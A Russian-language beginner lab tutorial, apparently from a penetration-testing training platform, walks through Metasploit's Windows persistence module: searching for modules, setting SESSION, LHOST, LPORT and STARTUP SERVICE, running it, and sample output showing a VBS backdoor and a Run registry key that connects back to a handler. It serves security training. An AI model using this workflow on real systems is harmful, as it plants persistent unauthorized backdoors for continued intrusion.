Установление персистентности с помощью модуля Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите фундаментальный процесс установления персистентности (persistence) на целевой системе с использованием Metasploit Framework. Персистентность является критически важным этапом в тестировании на проникновение, позволяя злоумышленнику сохранять доступ к скомпрометированной системе даже после ее перезагрузки или потери первоначального соединения. Мы рассмотрим, как использовать конкретный модуль Metasploit для создания бэкдора (backdoor), который автоматически переподключается к вашей машине. Эта лабораторная работа фокусируется на командах и концепциях в контролируемой, симулированной среде.

Получение привилегированной сессии Meterpreter на цели

На этом этапе мы запустим Metasploit Framework и поймем контекст нашей задачи. В реальном тестировании на проникновение установление персистентности является пост-эксплуатационной активностью. Это означает, что вы уже получили первоначальный доступ к целевой системе, как правило, в виде сессии Meterpreter.

Для этой лабораторной работы мы сосредоточимся на командах и процедурах настройки персистентности. Мы будем исходить из того, что вы уже успешно скомпрометировали цель и у вас запущена сессия Meterpreter в фоновом режиме.

Сначала запустим консоль Metasploit из терминала. Флаг -q обеспечивает тихий запуск, подавляя стартовый баннер.

msfconsole -q

Ваш командный процессор должен теперь измениться на msf6 >, что указывает на то, что вы находитесь внутри Metasploit Framework.

В реальном сценарии с активной сессией вы могли бы вывести ее с помощью команды sessions. Для взаимодействия с ней вы бы использовали sessions -i <session_id>. Чтобы вернуться к приглашению msf6 > для использования модулей пост-эксплуатации, вы бы использовали команду background из сессии Meterpreter. Мы будем действовать так, как будто мы уже перевели нашу сессию в фоновый режим.

Поиск модулей пост-эксплуатации для персистентности

На этом этапе мы выполним поиск модулей в Metasploit, которые помогут нам установить персистентность. Metasploit имеет мощную функцию поиска, позволяющую находить модули по ключевым словам, типу, платформе и другим параметрам.

Мы ищем модуль, связанный с "persistence" (персистентность). Давайте используем команду search в консоли Metasploit для поиска соответствующих модулей.

search persistence

Эта команда вернет список эксплойтов, вспомогательных (auxiliary) и пост-эксплуатационных модулей, соответствующих ключевому слову. Вывод показывает имя модуля, дату раскрытия, ранг и краткое описание.

Ваш вывод будет выглядеть примерно так (некоторые детали могут отличаться):

Matching Modules
================

   ##   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/admin/http/dlink_dir_600_http_login    2013-02-01       normal     No     D-Link DIR-600 'dlink_user' Persistence
   1   exploit/linux/local/cron_persistence             2020-01-28       excellent  Yes    Cron Persistence
   2   exploit/osx/local/persistence                    2015-05-11       excellent  Yes    OS X Persistent Launchd Job
   3   exploit/windows/local/persistence                2012-08-20       excellent  No     Windows Persistent Service Installer
   4   exploit/windows/local/persistence_service        2014-09-11       excellent  Yes    Persistent Service Installer
   5   post/android/manage/remove_persistence           2018-09-20       normal     No     Remove persistence from device
   6   post/android/manage/set_persistence              2018-09-20       normal     No     Set persistence on device
   7   post/multi/manage/shell_to_meterpreter                          normal     No     Shell to Meterpreter Upgrade
   8   post/osx/manage/persistence                      2018-09-20       normal     No     Install persistence on OSX
   9   post/windows/manage/persistence_exe              2013-03-06       normal     No     Windows Manage Persistent EXE Payload
   10  post/windows/manage/ssh_inject                   2012-11-20       normal     No     Windows Manage SSH User Key Injection

Как вы можете видеть, существует несколько вариантов. Для этой лабораторной работы мы сосредоточимся на exploit/windows/local/persistence — надежном и часто используемом модуле для создания постоянной службы в системах Windows.

Использование модуля exploit/windows/local/persistence

На этом этапе вы выберете модуль персистентности, который мы определили ранее. Команда use в Metasploit загружает конкретный модуль в текущий контекст, позволяя вам настроить и запустить его.

Чтобы выбрать модуль, вы можете либо ввести его полный путь, либо использовать его номер из результатов поиска (например, use 3). Использование полного пути, как правило, более надежно, поскольку номера могут меняться.

Давайте загрузим модуль exploit/windows/local/persistence.

use exploit/windows/local/persistence

После выполнения этой команды ваш командный процессор изменится, отражая текущий загруженный модуль: msf6 exploit(windows/local/persistence) >.

Теперь, когда модуль загружен, мы можем просмотреть его параметры, чтобы увидеть, что необходимо настроить. Используйте команду show options.

show options

Это отобразит таблицу всех параметров, которые вы можете установить для этого модуля, их текущие значения и требуется ли их установка.

Module options (exploit/windows/local/persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    10               yes       Delay in seconds for persistent payload to connect back
   LHOST                     no        The local listener IP address
   LPORT    4444             no        The local listener port
   REX_PORT 0                no        The port to connect to on the remote host
   SESSION                   yes       The session to run this module on
   STARTUP  USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
   ...

Обратите внимание, что SESSION является обязательным параметром. Здесь вы укажете идентификатор вашей скомпрометированной сессии Meterpreter.

Настройка параметров для автоматического запуска и полезной нагрузки

На этом этапе мы настроим необходимые параметры для нашего модуля персистентности. На основе вывода команды show options нам нужно установить несколько параметров, чтобы определить, как будет работать механизм персистентности. Команда set используется для присвоения значений этим параметрам.

Сначала укажем сессию. В реальном сценарии вы бы использовали идентификатор вашей активной сессии (например, set SESSION 1). Для этой лабораторной работы мы установим его на 1 в качестве заполнителя.

set SESSION 1

Далее нам нужно настроить полезную нагрузку (payload), которую будет выполнять механизм персистентности. Эта полезная нагрузка будет обращаться к нашей машине. Мы должны установить LHOST (наш IP-адрес) и LPORT (порт, на котором мы будем слушать). Давайте установим LHOST на локальный адрес обратной петли 127.0.0.1 и LPORT на 4445 (чтобы избежать конфликтов с другими потенциальными обработчиками).

set LHOST 127.0.0.1
set LPORT 4445

Параметр STARTUP определяет, как полезная нагрузка запускается на целевой машине. Варианты: USER (запускается при входе пользователя в систему), SYSTEM (запускается при загрузке системы) или SERVICE (запускается как системная служба). Давайте выберем SERVICE для более высоких привилегий и скрытности.

set STARTUP SERVICE

Вы можете снова выполнить команду show options, чтобы убедиться, что все ваши настройки были применены правильно. Все значения, которые вы только что установили, теперь должны быть отражены в столбце "Current Setting".

Выполнение модуля и проверка механизма персистентности

На этом заключительном этапе мы выполним модуль. При настроенных параметрах запуск модуля попытается установить скрипт персистентности на целевой системе через указанную сессию. Для выполнения модуля просто используйте команду run или exploit.

run

Ожидаемый результат: В нашей симулированной среде эта команда завершится ошибкой, поскольку нет активной сессии с идентификатором 1. Вы увидите сообщение об ошибке, похожее на это:

[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.

Это ожидаемое поведение для данной лабораторной работы, поскольку мы не работаем с реальным, скомпрометированным хостом.

В реальном сценарии с действительной сессией вывод будет совершенно иным. Он покажет, как модуль загружает скрипт, изменяет реестр и подтверждает успешную установку механизма персистентности. Успешное выполнение может выглядеть следующим образом:

[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.

Для завершения процесса в реальном тесте вам нужно будет настроить новый обработчик (use exploit/multi/handler), сконфигурированный с теми же LHOST и LPORT (127.0.0.1 и 4445). После перезагрузки целевой машины постоянная полезная нагрузка выполнится и подключится к вашему обработчику, предоставив вам новую сессию Meterpreter.

Резюме

В этой лабораторной работе вы изучили основной процесс установления персистентности на целевой системе с использованием Metasploit Framework. Вы практиковались в поиске релевантных модулей, выборе и настройке модуля exploit/windows/local/persistence, а также в понимании его функционирования.

Хотя мы симулировали среду без реальной цели, вы узнали точные команды и рабочий процесс, необходимые для создания постоянного бэкдора в реальном тесте на проникновение. Этот навык имеет решающее значение для поддержания долгосрочного доступа во время оценки безопасности.

Поздравляем с завершением лабораторной работы!